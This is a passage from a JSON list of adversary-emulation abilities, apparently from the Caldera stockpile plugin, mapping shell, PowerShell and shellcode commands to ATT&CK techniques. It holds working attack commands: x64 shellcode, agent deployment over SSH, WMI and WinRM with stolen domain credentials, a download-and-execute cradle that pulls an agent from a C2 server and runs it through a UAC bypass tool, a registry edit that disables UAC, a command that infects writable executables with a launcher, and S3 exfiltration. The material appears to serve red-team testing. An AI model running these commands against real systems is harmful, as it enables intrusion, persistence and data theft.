$path;\n  exit 0;\n} else {\n  echo \"Failed to generate PCAP file.\";\n  exit 1;\n};", "code": null, "language": null, "build_target": null, "payloads": [], "uploads": [], "timeout": 80, "parsers": [], "cleanup": ["Remove-NetEventSession -Name \"PCAP\";\nRemove-Item $ENV:UserProfile\\Desktop\\pcap.etl;"], "variations": [], "additional_info": {}}, {"name": "sh", "platform": "darwin", "command": "tcpdump -i en0 & sleep 5; kill $!", "code": null, "language": null, "build_target": null, "payloads": [], "uploads": [], "timeout": 60, "parsers": [], "cleanup": [], "variations": [], "additional_info": {}}], "requirements": [], "privilege": "Elevated", "repeatable": false, "buckets": ["credential-access"], "additional_info": {}, "access": {}, "singleton": false, "plugin": "stockpile", "delete_payload": true}, {"ability_id": "a42dfc86-12f0-4f06-b0cf-24830c7f61f4", "tactic": "defense-evasion", "technique_name": "Process Injection", "technique_id": "T1055", "name": "Spawn calculator (shellcode)", "description": "Start a new calculator process", "executors": [{"name": "shellcode_amd64", "platform": "windows", "command": "0x50, 0x51, 0x52, 0x53, 0x56, 0x57, 0x55, 0x6A, 0x60, 0x5A, 0x68, 0x63, 0x61, 0x6C, 0x63, 0x54, 0x59, 0x48, 0x83, 0xEC, 0x28, 0x65, 0x48, 0x8B, 0x32, 0x48, 0x8B, 0x76, 0x18, 0x48, 0x8B, 0x76, 0x10, 0x48, 0xAD, 0x48, 0x8B, 0x30, 0x48, 0x8B, 0x7E, 0x30, 0x03, 0x57, 0x3C, 0x8B, 0x5C, 0x17, 0x28, 0x8B, 0x74, 0x1F, 0x20, 0x48, 0x01, 0xFE, 0x8B, 0x54, 0x1F, 0x24, 0x0F, 0xB7, 0x2C, 0x17, 0x8D, 0x52, 0x02, 0xAD, 0x81, 0x3C, 0x07, 0x57, 0x69, 0x6E, 0x45, 0x75, 0xEF, 0x8B, 0x74, 0x1F, 0x1C, 0x48, 0x01, 0xFE, 0x8B, 0x34, 0xAE, 0x48, 0x01, 0xF7, 0x99, 0xFF, 0xD7, 0x48, 0x83, 0xC4, 0x30, 0x5D, 0x5F, 0x5E, 0x5B, 0x5A, 0x59, 0x58, 0xC3", "code": null, "language": null, "build_target": null, "payloads": [], "uploads": [], "timeout": 60, "parsers": [], "cleanup": [], "variations": [], "additional_info": {}}], "requirements": [], "privilege": "", "repeatable": false, "buckets": ["defense-evasion"], "additional_info": {}, "access": {}, "singleton": false, "plugin": "stockpile", "delete_payload": true}, {"ability_id": "4e97e699-93d7-4040-b5a3-2e906a58199e", "tactic": "collection", "technique_name": "Data Staged: Local Data Staging", "technique_id": "T1074.001", "name": "Stage sensitive files", "description": "copy files to staging directory", "executors": [{"name": "sh", "platform": "darwin", "command": "cp #{host.file.path[filters(technique=T1005,max=3)]} #{host.dir.staged[filters(max=1)]}", "code": null, "language": null, "build_target": null, "payloads": [], "uploads": [], "timeout": 60, "parsers": [], "cleanup": [], "variations": [], "additional_info": {}}, {"name": "sh", "platform": "linux", "command": "cp #{host.file.path[filters(technique=T1005,max=3)]} #{host.dir.staged[filters(max=1)]}", "code": null, "language": null, "build_target": null, "payloads": [], "uploads": [], "timeout": 60, "parsers": [], "cleanup": [], "variations": [], "additional_info": {}}, {"name": "psh", "platform": "windows", "command": "Copy-Item #{host.file.path[filters(technique=T1005,max=3)]} #{host.dir.staged[filters(max=1)]}", "code": null, "language": null, "build_target": null, "payloads": [], "uploads": [], "timeout": 60, "parsers": [], "cleanup": [], "variations": [], "additional_info": {}}, {"name": "cmd", "platform": "windows", "command": "copy #{host.file.path[filters(technique=T1005,max=3)]} #{host.dir.staged[filters(max=1)]}", "code": null, "language": null, "build_target": null, "payloads": [], "uploads": [], "timeout": 60, "parsers": [], "cleanup": [], "variations": [], "additional_info": {}}], "requirements": [{"module": "plugins.stockpile.app.requirements.paw_provenance", "relationship_match": [{"source": "host.file.path"}]}, {"module": "plugins.stockpile.app.requirements.paw_provenance", "relationship_match": [{"source": "host.dir.staged"}]}], "privilege": "", "repeatable": false, "buckets": ["collection"], "additional_info": {}, "access": {}, "singleton": false, "plugin": "stockpile", "delete_payload": true}, {"ability_id": "b1d41972-3ad9-4aa1-8f7f-05f049a2980e", "tactic": "execution", "technique_name": "Command and Scripting Interpreter: Unix Shell", "technique_id": "T1059.004", "name": "Start 54ndc47", "description": "Start a new 54ndc47 agent in background", "executors": [{"name": "sh", "platform": "darwin", "command": "nohup ./sandcat.go -server #{server} &", "code": null, "language": null, "build_target": null, "payloads": ["sandcat.go"], "uploads": [], "timeout": 60, "parsers": [], "cleanup": ["pkill -f sandcat"], "variations": [], "additional_info": {}}, {"name": "sh", "platform": "linux", "command": "nohup ./sandcat.go -server #{server} &", "code": null, "language": null, "build_target": null, "payloads": ["sandcat.go"], "uploads": [], "timeout": 60, "parsers": [], "cleanup": ["pkill -f sandcat"], "variations": [], "additional_info": {}}], "requirements": [], "privilege": "", "repeatable": false, "buckets": ["execution"], "additional_info": {}, "access": {}, "singleton": true, "plugin": "stockpile", "delete_payload": true}, {"ability_id": "10a9d979-e342-418a-a9b0-002c483e0fa6", "tactic": "lateral-movement", "technique_name": "Remote Services: SSH", "technique_id": "T1021.004", "name": "Start 54ndc47 (2)", "description": "Copy 54ndc47 to remote host and start it, assumes target uses SSH keys and passwordless authentication", "executors": [{"name": "sh", "platform": "darwin", "command": "scp -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null -o ConnectTimeout=3 sandcat.go-darwin #{remote.ssh.cmd}:~/sandcat.go &&\nssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null -o ConnectTimeout=3 #{remote.ssh.cmd} 'nohup ./sandcat.go -server #{server} -group red 1>/dev/null 2>/dev/null &'", "code": null, "language": null, "build_target": null, "payloads": ["sandcat.go-darwin"], "uploads": [], "timeout": 60, "parsers": [], "cleanup": ["ssh -o ConnectTimeout=3 #{remote.ssh.cmd} 'pkill -f sandcat & rm -f ~/sandcat.go'"], "variations": [], "additional_info": {}}, {"name": "sh", "platform": "linux", "command": "scp -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null -o ConnectTimeout=3 sandcat.go-linux #{remote.ssh.cmd}:~/sandcat.go &&\nssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null -o ConnectTimeout=3 #{remote.ssh.cmd} 'nohup ./sandcat.go -server #{server} -group red 1>/dev/null 2>/dev/null &'", "code": null, "language": null, "build_target": null, "payloads": ["sandcat.go-linux"], "uploads": [], "timeout": 60, "parsers": [], "cleanup": ["ssh -o ConnectTimeout=3 -o StrictHostKeyChecking=no #{remote.ssh.cmd} 'pkill -f sandcat & rm -f ~/sandcat.go'"], "variations": [], "additional_info": {}}], "requirements": [], "privilege": "", "repeatable": false, "buckets": ["lateral-movement"], "additional_info": {}, "access": {}, "singleton": true, "plugin": "stockpile", "delete_payload": true}, {"ability_id": "ece5dde3-d370-4c20-b213-a1f424aa8d03", "tactic": "execution", "technique_name": "Windows Management Instrumentation", "technique_id": "T1047", "name": "Start 54ndc47 (WMI)", "description": "Remotely executes 54ndc47 over WMI", "executors": [{"name": "psh", "platform": "windows", "command": "$node = '''#{remote.host.fqdn}''';\n$user = '''#{domain.user.name}''';\n$password = '''#{domain.user.password}''';\nwmic /node:$node /user:$user /password:$password process call create \"powershell.exe C:\\Users\\Public\\s4ndc4t.exe -server #{server} -group #{group}\";", "code": null, "language": null, "build_target": null, "payloads": [], "uploads": [], "timeout": 60, "parsers": [], "cleanup": ["$node = '''#{remote.host.fqdn}''';\n$user = '''#{domain.user.name}''';\n$password = '''#{domain.user.password}''';\nwmic /node:$node /user:$user /password:$password process call create \"taskkill /f /im s4ndc4t.exe\""], "variations": [], "additional_info": {}}, {"name": "cmd", "platform": "windows", "command": "$node = '''#{remote.host.fqdn}''';\n$user = '''#{domain.user.name}''';\n$password = '''#{domain.user.password}''';\nwmic /node:$node /user:$user /password:$password process call create \"cmd.exe C:\\Users\\Public\\s4ndc4t.exe -server #{server} -group #{group}\";", "code": null, "language": null, "build_target": null, "payloads": [], "uploads": [], "timeout": 60, "parsers": [], "cleanup": ["$node = '''#{remote.host.fqdn}''';\n$user = '''#{domain.user.name}''';\n$password = '''#{domain.user.password}''';\nwmic /node:$node /user:$user /password:$password process call create \"taskkill /f /im s4ndc4t.exe\""], "variations": [], "additional_info": {}}], "requirements": [{"module": "plugins.stockpile.app.requirements.basic", "relationship_match": [{"source": "domain.user.name", "edge": "has_password", "target": "domain.user.password"}]}, {"module": "plugins.stockpile.app.requirements.basic", "relationship_match": [{"source": "remote.host.fqdn", "edge": "has_54ndc47_copy"}]}, {"module": "plugins.stockpile.app.requirements.req_like", "relationship_match": [{"source": "remote.host.fqdn", "edge": "has_admin", "target": "domain.user.name"}]}, {"module": "plugins.stockpile.app.requirements.no_backwards_movement", "relationship_match": [{"source": "remote.host.fqdn"}]}, {"module": "plugins.stockpile.app.requirements.reachable", "relationship_match": [{"source": "remote.host.fqdn", "edge": "isAccessibleFrom"}]}], "privilege": "", "repeatable": false, "buckets": ["execution"], "additional_info": {}, "access": {}, "singleton": true, "plugin": "stockpile", "delete_payload": true}, {"ability_id": "41bb2b7a-75af-49fd-bd15-6c827df25921", "tactic": "lateral-movement", "technique_name": "Remote Services: Windows Remote Management", "technique_id": "T1021.006", "name": "Start Agent (WinRM)", "description": "Start Agent using WinRM (WinRM)", "executors": [{"name": "psh", "platform": "windows", "command": "$username = \"#{domain.user.name}\";\n$password = \"#{domain.user.password}\";\n$secstr = New-Object -TypeName System.Security.SecureString;\n$password.ToCharArray() | ForEach-Object {$secstr.AppendChar($_)};\n$cred = New-Object -Typename System.Management.Automation.PSCredential -Argumentlist $username, $secstr;\n$session = New-PSSession -ComputerName #{remote.host.name} -Credential $cred;\nInvoke-Command -Session $session -ScriptBlock{start-job -scriptblock{cmd.exe /c start C:\\Users\\Public\\svchost.exe -server #{server} }};\nStart-Sleep -s 5;\nRemove-PSSession -Session $session;", "code": null, "language": null, "build_target": null, "payloads": ["sandcat.go-windows"], "uploads": [], "timeout": 60, "parsers": [], "cleanup": ["$username = \"#{domain.user.name}\";\n$password = \"#{domain.user.password}\";\n$secstr = New-Object -TypeName System.Security.SecureString;\n$password.ToCharArray() | ForEach-Object {$secstr.AppendChar($_)};\n$cred = New-Object -Typename System.Management.Automation.PSCredential -Argumentlist $username, $secstr;\n$session = New-PSSession -ComputerName #{remote.host.name} -Credential $cred;\nInvoke-Command -Session $session -ScriptBlock{start-job -scriptblock{Get-Process cmd | Where-Object Path -eq C:\\Users\\Public\\svchost.exe | Stop-Process}};\nStart-Sleep -s 5;\nRemove-PSSession -Session $session;"], "variations": [], "additional_info": {}}], "requirements": [], "privilege": "", "repeatable": false, "buckets": ["lateral-movement"], "additional_info": {}, "access": {}, "singleton": true, "plugin": "stockpile", "delete_payload": true}, {"ability_id": "134b49a3-3f93-41bd-85f4-563eadbb6055", "tactic": "execution", "technique_name": "Command and Scripting Interpreter: PowerShell", "technique_id": "T1059.001", "name": "Stop PowerShell processes", "description": "Kill all PowerShell processes", "executors": [{"name": "pwsh", "platform": "windows", "command": "Get-Process -Name \"powershell\" | Stop-Process", "code": null, "language": null, "build_target": null, "payloads": [], "uploads": [], "timeout": 60, "parsers": [], "cleanup": [], "variations": [], "additional_info": {}}], "requirements": [], "privilege": "", "repeatable": false, "buckets": ["execution"], "additional_info": {}, "access": {}, "singleton": false, "plugin": "stockpile", "delete_payload": true}, {"ability_id": "cc191baa-7472-4386-a2f4-42f203f1acfd", "tactic": "collection", "technique_name": "Process Discovery", "technique_id": "T1057", "name": "SysInternals PSTool Process Discovery", "description": "Process discovery via SysInternals pstool", "executors": [{"name": "psh", "platform": "windows", "command": "$ps_url = \"https://download.sysinternals.com/files/PSTools.zip\";\n$download_folder = \"C:\\Users\\Public\\\";\n$staging_folder = \"C:\\Users\\Public\\temp\";\nStart-BitsTransfer -Source $ps_url -Destination $download_folder;\nExpand-Archive -LiteralPath $download_folder\"PSTools.zip\" -DestinationPath $staging_folder;\niex $staging_folder\"\\pslist.exe\" >> $env:LOCALAPPDATA\\output.log;\nRemove-Item $download_folder\"PSTools.zip\";\nRemove-Item $staging_folder -Recurse", "code": null, "language": null, "build_target": null, "payloads": [], "uploads": [], "timeout": 60, "parsers": [], "cleanup": [], "variations": [], "additional_info": {}}, {"name": "pwsh", "platform": "windows", "command": "$ps_url = \"https://download.sysinternals.com/files/PSTools.zip\";\n$download_folder = \"C:\\Users\\Public\\\";\n$staging_folder = \"C:\\Users\\Public\\temp\";\nStart-BitsTransfer -Source $ps_url -Destination $download_folder;\nExpand-Archive -LiteralPath $download_folder\"PSTools.zip\" -DestinationPath $staging_folder;\niex $staging_folder\"\\pslist.exe\" >> $env:LOCALAPPDATA\\output.log;\nRemove-Item $download_folder\"PSTools.zip\";\nRemove-Item $staging_folder -Recurse", "code": null, "language": null, "build_target": null, "payloads": [], "uploads": [], "timeout": 60, "parsers": [], "cleanup": [], "variations": [], "additional_info": {}}], "requirements": [], "privilege": "", "repeatable": false, "buckets": ["collection"], "additional_info": {}, "access": {}, "singleton": false, "plugin": "stockpile", "delete_payload": true}, {"ability_id": "5a39d7ed-45c9-4a79-b581-e5fb99e24f65", "tactic": "discovery", "technique_name": "Process Discovery", "technique_id": "T1057", "name": "System processes", "description": "Identify system processes", "executors": [{"name": "psh", "platform": "windows", "command": "Get-Process", "code": null, "language": null, "build_target": null, "payloads": [], "uploads": [], "timeout": 60, "parsers": [], "cleanup": [], "variations": [], "additional_info": {}}, {"name": "cmd", "platform": "windows", "command": "tasklist", "code": null, "language": null, "build_target": null, "payloads": [], "uploads": [], "timeout": 60, "parsers": [], "cleanup": [], "variations": [], "additional_info": {}}, {"name": "donut_amd64", "platform": "windows", "command": null, "code": "using System;\nusing System.Diagnostics;\nusing System.ComponentModel;\n\nnamespace ProcessDump\n{\n    class MyProcess\n    {\n        void GrabAllProcesses()\n        {\n            Process[] allProc = Process.GetProcesses();\n            foreach(Process proc in allProc){\n                Console.WriteLine(\"Process: {0} -> PID: {1}\", proc.ProcessName, proc.Id);\n            }\n        }\n        static void Main(string[] args)\n        {\n            MyProcess myProc = new MyProcess();\n            myProc.GrabAllProcesses();\n        }\n    }\n}", "language": "csharp", "build_target": "ProcessDump.donut", "payloads": [], "uploads": [], "timeout": 60, "parsers": [], "cleanup": [], "variations": [], "additional_info": {}}, {"name": "sh", "platform": "darwin", "command": "ps aux", "code": null, "language": null, "build_target": null, "payloads": [], "uploads": [], "timeout": 60, "parsers": [], "cleanup": [], "variations": [], "additional_info": {}}, {"name": "sh", "platform": "linux", "command": "ps aux", "code": null, "language": null, "build_target": null, "payloads": [], "uploads": [], "timeout": 60, "parsers": [], "cleanup": [], "variations": [], "additional_info": {}}], "requirements": [], "privilege": "", "repeatable": false, "buckets": ["discovery"], "additional_info": {}, "access": {}, "singleton": false, "plugin": "stockpile", "delete_payload": true}, {"ability_id": "ba0deadb-97ac-4a4c-aa81-21912fc90980", "tactic": "exfiltration", "technique_name": "Transfer Data to Cloud Account", "technique_id": "T1537", "name": "Transfer Compressed Archive to Separate S3 Bucket via AWS CLI", "description": "Transfer the compressed archive from one S3 bucket to another S3 bucket via AWS CLI. It is assumed that the proper\npolicies and security rules are in place to allow reading from the source bucket and writing to the destination\nbucket.\n", "executors": [{"name": "sh", "platform": "linux", "command": "LocalFile='#{host.dir.compress}';\nRemoteName=\"exfil-#{paw}-$(basename $LocalFile)\";\naws s3 cp s3://#{s3.source.name}/$RemoteName s3://#{s3.destination.name} --acl bucket-owner-full-control;", "code": null, "language": null, "build_target": null, "payloads": [], "uploads": [], "timeout": 60, "parsers": [], "cleanup": [], "variations": [], "additional_info": {}}, {"name": "psh", "platform": "windows", "command": "$SourceFile = (Get-Item #{host.dir.compress});\n$RemoteName = \"exfil-#{paw}-$($SourceFile.name)\";\naws s3 cp s3://#{s3.source.name}/$RemoteName s3://#{s3.destination.name} --acl bucket-owner-full-control;", "code": null, "language": null, "build_target": null, "payloads": [], "uploads": [], "timeout": 60, "parsers": [], "cleanup": [], "variations": [], "additional_info": {}}], "requirements": [{"module": "plugins.stockpile.app.requirements.paw_provenance", "relationship_match": [{"source": "host.dir.compress"}]}], "privilege": "", "repeatable": false, "buckets": ["exfiltration"], "additional_info": {}, "access": {}, "singleton": false, "plugin": "stockpile", "delete_payload": true}, {"ability_id": "7c42a30c-c8c7-44c5-80a8-862d364ac1e4", "tactic": "discovery", "technique_name": "Software Discovery: Security Software Discovery", "technique_id": "T1518.001", "name": "UAC Status", "description": "Determine whether or not UAC is enabled", "executors": [{"name": "psh", "platform": "windows", "command": "echo $(get-uac)", "code": null, "language": null, "build_target": null, "payloads": [], "uploads": [], "timeout": 60, "parsers": [], "cleanup": [], "variations": [], "additional_info": {}}, {"name": "pwsh", "platform": "windows", "command": "echo $(get-uac)", "code": null, "language": null, "build_target": null, "payloads": [], "uploads": [], "timeout": 60, "parsers": [], "cleanup": [], "variations": [], "additional_info": {}}], "requirements": [], "privilege": "", "repeatable": false, "buckets": ["discovery"], "additional_info": {}, "access": {}, "singleton": false, "plugin": "stockpile", "delete_payload": true}, {"ability_id": "665432a4-42e7-4ee1-af19-a9a8c9455d0c", "tactic": "privilege-escalation", "technique_name": "Abuse Elevation Control Mechanism: Bypass User Access Control", "technique_id": "T1548.002", "name": "UAC bypass registry", "description": "Set a registry key to allow UAC bypass", "executors": [{"name": "psh", "platform": "windows", "command": "New-ItemProperty -Path HKLM:Software\\Microsoft\\Windows\\CurrentVersion\\policies\\system -Name EnableLUA -PropertyType DWord -Value 0 -Force", "code": null, "language": null, "build_target": null, "payloads": [], "uploads": [], "timeout": 60, "parsers": [], "cleanup": [], "variations": [], "additional_info": {}}], "requirements": [], "privilege": "", "repeatable": false, "buckets": ["privilege-escalation"], "additional_info": {}, "access": {}, "singleton": false, "plugin": "stockpile", "delete_payload": true}, {"ability_id": "9b007f62-daa1-44bd-a57d-00c5315ec6fe", "tactic": "discovery", "technique_name": "Peripheral Device Discovery", "technique_id": "T1120", "name": "USB Connected Device Discovery", "description": "find attached usb devices", "executors": [{"name": "sh", "platform": "darwin", "command": "system_profiler SPUSBDataType", "code": null, "language": null, "build_target": null, "payloads": [], "uploads": [], "timeout": 60, "parsers": [], "cleanup": [], "variations": [], "additional_info": {}}], "requirements": [], "privilege": "", "repeatable": false, "buckets": ["discovery"], "additional_info": {}, "access": {}, "singleton": false, "plugin": "stockpile", "delete_payload": true}, {"ability_id": "335cea7b-bec0-48c6-adfb-6066070f5f68", "tactic": "discovery", "technique_name": "Process Discovery", "technique_id": "T1057", "name": "View Processes", "description": "Display information about current system processes", "executors": [{"name": "sh", "platform": "darwin", "command": "ps", "code": null, "language": null, "build_target": null, "payloads": [], "uploads": [], "timeout": 60, "parsers": [], "cleanup": [], "variations": [], "additional_info": {}}, {"name": "sh", "platform": "linux", "command": "ps", "code": null, "language": null, "build_target": null, "payloads": [], "uploads": [], "timeout": 60, "parsers": [], "cleanup": [], "variations": [], "additional_info": {}}, {"name": "psh", "platform": "windows", "command": "get-process", "code": null, "language": null, "build_target": null, "payloads": [], "uploads": [], "timeout": 60, "parsers": [], "cleanup": [], "variations": [], "additional_info": {}}], "requirements": [], "privilege": "", "repeatable": false, "buckets": ["discovery"], "additional_info": {}, "access": {}, "singleton": false, "plugin": "stockpile", "delete_payload": true}, {"ability_id": "530e47c6-8592-42bf-91df-c59ffbd8541b", "tactic": "discovery", "technique_name": "Network Share Discovery", "technique_id": "T1135", "name": "View admin shares", "description": "Network Share Discovery", "executors": [{"name": "pwsh", "platform": "windows", "command": "Get-SmbShare | ConvertTo-Json", "code": null, "language": null, "build_target": null, "payloads": [], "uploads": [], "timeout": 60, "parsers": [{"module": "plugins.stockpile.app.parsers.json", "parserconfigs": [{"source": "domain.smb.share", "edge": "", "target": "", "custom_parser_vals": {"json_key": "Path", "json_type": "str"}}]}], "cleanup": [], "variations": [], "additional_info": {}}, {"name": "psh", "platform": "windows", "command": "Get-SmbShare | ConvertTo-Json", "code": null, "language": null, "build_target": null, "payloads": [], "uploads": [], "timeout": 60, "parsers": [{"module": "plugins.stockpile.app.parsers.json", "parserconfigs": [{"source": "domain.smb.share", "edge": "", "target": "", "custom_parser_vals": {"json_key": "Path", "json_type": "str"}}]}], "cleanup": [], "variations": [], "additional_info": {}}], "requirements": [], "privilege": "", "repeatable": false, "buckets": ["discovery"], "additional_info": {}, "access": {}, "singleton": false, "plugin": "stockpile", "delete_payload": true}, {"ability_id": "6c91884e-11ec-422f-a6ed-e76774b0daac", "tactic": "discovery", "technique_name": "Peripheral Device Discovery", "technique_id": "T1120", "name": "View printer queue", "description": "View details of queued documents in printer queue", "executors": [{"name": "sh", "platform": "darwin", "command": "lpq -a", "code": null, "language": null, "build_target": null, "payloads": [], "uploads": [], "timeout": 60, "parsers": [{"module": "plugins.stockpile.app.parsers.printer_queue", "parserconfigs": [{"source": "host.print.file", "edge": "has_size", "target": "host.print.size", "custom_parser_vals": {}}]}], "cleanup": [], "variations": [], "additional_info": {}}, {"name": "sh", "platform": "linux", "command": "lpq -a", "code": null, "language": null, "build_target": null, "payloads": [], "uploads": [], "timeout": 60, "parsers": [{"module": "plugins.stockpile.app.parsers.printer_queue", "parserconfigs": [{"source": "host.print.file", "edge": "has_size", "target": "host.print.size", "custom_parser_vals": {}}]}], "cleanup": [], "variations": [], "additional_info": {}}], "requirements": [], "privilege": "", "repeatable": false, "buckets": ["discovery"], "additional_info": {}, "access": {}, "singleton": false, "plugin": "stockpile", "delete_payload": true}, {"ability_id": "deeac480-5c2a-42b5-90bb-41675ee53c7e", "tactic": "discovery", "technique_name": "Network Share Discovery", "technique_id": "T1135", "name": "View remote shares", "description": "View the shares of a remote host", "executors": [{"name": "psh", "platform": "windows", "command": "net view \\\\#{remote.host.fqdn} /all", "code": null, "language": null, "build_target": null, "payloads": [], "uploads": [], "timeout": 60, "parsers": [{"module": "plugins.stockpile.app.parsers.net_view", "parserconfigs": [{"source": "remote.host.fqdn", "edge": "has_share", "target": "remote.host.share", "custom_parser_vals": {}}]}], "cleanup": [], "variations": [], "additional_info": {}}, {"name": "cmd", "platform": "windows", "command": "net view \\\\#{remote.host.fqdn} /all", "code": null, "language": null, "build_target": null, "payloads": [], "uploads": [], "timeout": 60, "parsers": [{"module": "plugins.stockpile.app.parsers.net_view", "parserconfigs": [{"source": "remote.host.fqdn", "edge": "has_share", "target": "remote.host.share", "custom_parser_vals": {}}]}], "cleanup": [], "variations": [], "additional_info": {}}], "requirements": [], "privilege": "", "repeatable": false, "buckets": ["discovery"], "additional_info": {}, "access": {}, "singleton": false, "plugin": "stockpile", "delete_payload": true}, {"ability_id": "5dc841fd-28ad-40e2-b10e-fb007fe09e81", "tactic": "discovery", "technique_name": "Virtualization/Sandbox Evasion: System Checks", "technique_id": "T1497.001", "name": "Virtual or Real", "description": "Determine if the system is virtualized or physical", "executors": [{"name": "psh", "platform": "windows", "command": "get-wmiobject win32_computersystem | fl model", "code": null, "language": null, "build_target": null, "payloads": [], "uploads": [], "timeout": 60, "parsers": [], "cleanup": [], "variations": [], "additional_info": {}}], "requirements": [], "privilege": "", "repeatable": false, "buckets": ["discovery"], "additional_info": {}, "access": {}, "singleton": false, "plugin": "stockpile", "delete_payload": true}, {"ability_id": "94f21386-9547-43c4-99df-938ab05d45ce", "tactic": "collection", "technique_name": "WMIC", "technique_id": "T1047", "name": "WMIC Process Enumeration", "description": "Capture process id, executable path, pid and parent pid before writing to disk", "executors": [{"name": "psh", "platform": "windows", "command": "wmic process get executablepath,name,processid,parentprocessid >> $env:APPDATA\\vmtools.log;\ncat $env:APPDATA\\vmtools.log", "code": null, "language": null, "build_target": null, "payloads": [], "uploads": [], "timeout": 60, "parsers": [], "cleanup": [], "variations": [], "additional_info": {}}], "requirements": [], "privilege": "", "repeatable": false, "buckets": ["collection"], "additional_info": {}, "access": {}, "singleton": false, "plugin": "stockpile", "delete_payload": true}, {"ability_id": "10681f2f-be03-44af-858d-f2b0812df185", "tactic": "privilege-escalation", "technique_name": "Hijack Execution Flow: Services File Permissions Weakness", "technique_id": "T1574.010", "name": "Weak executable files", "description": "Locate and infect files with weak but executable perms", "executors": [{"name": "sh", "platform": "darwin", "command": "find / -type f -size -500k -maxdepth 5 -perm -333 2>/dev/null -exec sh -c 'grep -qF \"54NDC47_SCRIPT\" \"{}\" || echo \"#54NDC47_SCRIPT\\n\" \"chmod +x sandcat.go-darwin && sandcat.go-darwin\" >> \"{}\"; ls \"{}\" ' \\; | echo \"complete\"", "code": null, "language": null, "build_target": null, "payloads": ["sandcat.go"], "uploads": [], "timeout": 60, "parsers": [], "cleanup": [], "variations": [], "additional_info": {}}, {"name": "sh", "platform": "linux", "command": "find / -type f -size -500k -maxdepth 5 -perm -333 2>/dev/null -exec sh -c 'grep -qF \"54NDC47_SCRIPT\" \"{}\" || echo \"#54NDC47_SCRIPT\\n\" \"chmod +x sandcat.go-linux && sandcat.go-linux\" >> \"{}\"; ls \"{}\" ' \\; | echo \"complete\"", "code": null, "language": null, "build_target": null, "payloads": ["sandcat.go"], "uploads": [], "timeout": 60, "parsers": [], "cleanup": [], "variations": [], "additional_info": {}}], "requirements": [], "privilege": "", "repeatable": false, "buckets": ["privilege-escalation"], "additional_info": {}, "access": {}, "singleton": false, "plugin": "stockpile", "delete_payload": true}, {"ability_id": "89955f55-529d-4d58-bed4-fed9e42515ec", "tactic": "collection", "technique_name": "Data from Local System", "technique_id": "T1005", "name": "cURL socket address", "description": "See the raw content of a socket", "executors": [{"name": "sh", "platform": "darwin", "command": "curl #{remote.host.socket}", "code": null, "language": null, "build_target": null, "payloads": [], "uploads": [], "timeout": 60, "parsers": [], "cleanup": [], "variations": [], "additional_info": {}}, {"name": "sh", "platform": "linux", "command": "curl #{remote.host.socket}", "code": null, "language": null, "build_target": null, "payloads": [], "uploads": [], "timeout": 60, "parsers": [], "cleanup": [], "variations": [], "additional_info": {}}], "requirements": [], "privilege": "", "repeatable": false, "buckets": ["collection"], "additional_info": {}, "access": {}, "singleton": false, "plugin": "stockpile", "delete_payload": true}, {"ability_id": "55678719-e76e-4df9-92aa-10655bbd1cf4", "tactic": "collection", "technique_name": "Command and Scripting Interpreter: PowerShell", "technique_id": "T1059.001", "name": "cmd.exe information gathering", "description": "User enumeration", "executors": [{"name": "psh", "platform": "windows", "command": "cmd.exe /c \"net user\" >> C:\\Windows\\temp\\history.log;\ncmd.exe /c \"whoami /priv\" >> C:\\Windows\\temp\\history.log;\ncmd.exe /c \"netstat -ano\" >> C:\\Windows\\temp\\history.log;", "code": null, "language": null, "build_target": null, "payloads": [], "uploads": [], "timeout": 60, "parsers": [], "cleanup": [], "variations": [], "additional_info": {}}], "requirements": [], "privilege": "", "repeatable": false, "buckets": ["collection"], "additional_info": {}, "access": {}, "singleton": false, "plugin": "stockpile", "delete_payload": true}, {"ability_id": "e99cce5c-cb7e-4a6e-8a09-1609a221b90a", "tactic": "privilege-escalation", "technique_name": "Abuse Elevation Control Mechanism: Bypass User Access Control", "technique_id": "T1548.002", "name": "duser/osksupport DLL Hijack", "description": "UIPI bypass with uiAccess application", "executors": [{"name": "psh", "platform": "windows", "command": "$url=\"#{server}/file/download\";\n$wc=New-Object System.Net.WebClient;\n$wc.Headers.add(\"platform\",\"windows\");\n$wc.Headers.add(\"file\",\"sandcat.go\");\n$wc.Headers.add(\"server\",\"#{server}\");\n$wc.Headers.add(\"defaultSleep\",\"60\");\n$wc.Headers.add(\"defaultGroup\",\"bypassed_u_bro\");\n$data=$wc.DownloadData($url);\n$name=$wc.ResponseHeaders[\"Content-Disposition\"].Substring($wc.ResponseHeaders[\"Content-Disposition\"].IndexOf(\"filename=\")+9).Replace(\"`\"\",\"\");\n[io.file]::WriteAllBytes(\"C:\\Users\\Public\\$name.exe\",$data);\n.\\Akagi64.exe 32 \"C:\\Users\\Public\\$name.exe -server #{server}\"", "code": null, "language": null, "build_target": null, "payloads": ["Akagi64.exe"], "uploads": [], "timeout": 60, "parsers": [], "cleanup": [], "variations": [], "additional_info": {}}], "requirements": [], "privilege": "", "repeatable": false, "buckets": ["privilege-escalation"], "additional_info": {}, "access": {}, "singleton": false, "plugin": "stockpile", "delete_payload": true}, {"ability_id": "0093c0e0-68b6-4cab-b0d4-2b40b3c78f71", "tactic": "discovery", "technique_name": "Process Discovery", "technique_id": "T1057", "name": "enumerate VMs", "description": "Enumerate running virtual machines on hypervisor", "executors": [{"name": "sh", "platform": "linux", "command": "acrnctl list", "code": null, "language": null, "build_target": null, "payloads": [], "uploads": [], "timeout": 60, "parsers": [{"module": "plugins.stockpile.app.parsers.acrn", "parserconfigs": [{"source": "hypervisor.vm.name", "edge": "", "target": "", "custom_parser_vals": {}}]}], "cleanup": [], "variations": [], "additional_info": {}}], "requirements": [], "privilege": "", "repeatable": false, "buckets": ["discovery"], "additional_info": {}, "access": {}, "singleton": false, "plugin": "stockpile", "delete_payload": true}, {"ability_id": "8adf02e8-6e71-4244-886c-98c402857404", "tactic": "discovery", "technique_name": "Process Discovery", "technique_id": "T1057", "name": "tasklist Process Enumeration", "description": "Capture running processes and their loaded DLLs", "executors": [{"name": "psh", "platform": "windows", "command": "tasklist /m  >> $env:APPDATA\\vmtool.log;\ncat $env:APPDATA\\vmtool.log", "code": null, "language": null, "build_target": null, "payloads": [], "uploads": [], "timeout": 60, "parsers": [], "cleanup": [], "variations": [], "additional_info": {}}], "requirements": [], "privilege": "", "repeatable": false, "buckets": ["discovery"], "additional_info": {}, "access": {}, "singleton": false, "plugin": "stockpile", "delete_payload": true}, {"ability_id": "95ad5d69-563e-477b-802b-4855bfb3be09", "tactic": "privilege-escalation", "technique_name": "Abuse Elevation Control Mechanism: 